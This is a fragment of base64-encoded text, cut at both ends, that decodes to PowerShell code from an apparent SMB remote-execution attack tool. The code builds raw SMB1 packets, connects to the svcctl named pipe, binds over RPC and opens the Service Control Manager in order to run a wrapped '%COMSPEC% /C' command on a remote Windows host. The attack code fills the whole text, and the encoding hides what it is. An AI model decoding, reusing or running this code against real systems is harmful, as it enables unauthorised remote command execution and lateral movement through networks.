Y3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkU01CX3NlcnZpY2UgPSAkU2VydmljZQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkU01CX3NlcnZpY2UpDQoNCiAgICAgICAgICAgIGlmKFtCb29sXSgkU01CX3NlcnZpY2UuTGVuZ3RoICUgMikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzICs9IDB4MDAsMHgwMA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRTTUJfc2VydmljZV9ieXRlcyArPSAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJFNNQl9zZXJ2aWNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zZXJ2aWNlLmxlbmd0aCArIDEpDQoNCiAgICAgICAgaWYoJENvbW1hbmRDT01TUEVDIC1lcSAnWScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRDb21tYW5kID0gIiVDT01TUEVDJSAvQyBgIiIgKyAkQ29tbWFuZCArICJgIiINCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRDb21tYW5kID0gImAiIiArICRDb21tYW5kICsgImAiIg0KICAgICAgICB9DQoNCiAgICAgICAgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkQ29tbWFuZCkgfCBGb3JFYWNoLU9iamVjdHskU01CRXhlY19jb21tYW5kICs9ICJ7MDpYMn0tMDAtIiAtZiAkX30NCg0KICAgICAgICBpZihbQm9vbF0oJENvbW1hbmQuTGVuZ3RoICUgMikpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJFeGVjX2NvbW1hbmQgKz0gJzAwLTAwJw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJFNNQkV4ZWNfY29tbWFuZCArPSAnMDAtMDAtMDAtMDAnDQogICAgICAgIH0gICAgDQogICAgICAgIA0KICAgICAgICAkU01CRXhlY19jb21tYW5kX2J5dGVzID0gJFNNQkV4ZWNfY29tbWFuZC5TcGxpdCgiLSIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9ICANCiAgICAgICAgJFNNQkV4ZWNfY29tbWFuZF9sZW5ndGhfYnl0ZXMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJFeGVjX2NvbW1hbmRfYnl0ZXMuTGVuZ3RoIC8gMikNCiAgICAgICAgDQoNCiAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVDb25uZWN0QW5kWFJlcXVlc3QnDQoNCiAgICAgICAgICAgIDpTTUJfZXhlY3V0ZV9sb29wIHdoaWxlICgkU01CX2NsaWVudF9zdGFnZSAtbmUgJ2V4aXQnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgc3dpdGNoICgkU01CX2NsaWVudF9zdGFnZSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1RyZWVDb25uZWN0QW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHg3NSAweDE4IDB4MDEsMHg0OCAweGZmLDB4ZmYgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTUQ1ID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZ19jb3VudGVyID0gMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QgJFNNQl9wYXRoX2J5dGVzDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ3JlYXRlQW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnQ3JlYXRlQW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NWMsMHg3MywweDc2LDB4NjMsMHg2MywweDc0LDB4NmMsMHgwMCAjIFxzdmNjdGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfdHJlZV9JRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMjgsMjldDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4YTIgMHgxOCAweDAyLDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CTlRDcmVhdGVBbmRYUmVxdWVzdCAkU01CX25hbWVkX3BpcGVfYnl0ZXMNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkU01CX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRNRDUuQ29tcHV0ZUhhc2goJFNNQl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJFNNQl9zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSUENCaW5kJw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdSUENCaW5kJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX0ZJRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbNDIsNDNdDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ0JpbmQgMSAweGI4LDB4MTAgMHgwMSAweDAwLDB4MDAgJFNNQl9uYW1lZF9waXBlX1VVSUQgMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQldyaXRlQW5kWFJlcXVlc3QNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVtYWluaW5nIl0gPSAweDQ4LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRGF0YUxlbmd0aExvdyJdID0gMHg0OCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0J5dGVDb3VudCJdID0gMHg0OCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCJdID0gJFNNQl9GSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQl9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnT3BlblNDTWFuYWdlclcnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBTdGFydC1TbGVlcCAtbSAkU2xlZXANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHgyZSAweDE4IDB4MDUsMHgyOCAkU01CX3RyZWVfSUQgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZ19jb3VudGVyID0gJFNNQl9zaWduaW5nX2NvdW50ZXIgKyAyIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CUmVhZEFuZFhSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJSZWFkQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJFNNQl9jbGllbnRfc3RhZ2VfbmV4dA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdPcGVuU0NNYW5hZ2VyVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDJmIDB4MTggMHgwNSwweDI4ICRTTUJfdHJlZV9JRCAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTU9wZW5TQ01hbmFnZXJXICRTTUJfc2VydmljZV9ieXRlcyAkU01CX3NlcnZpY2VfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkU0NNX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAkU0NNX2RhdGEubGVuZ3RoIDAgMCAweDAxLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDBmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQldyaXRlQW5kWFJlcXVlc3QgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgIC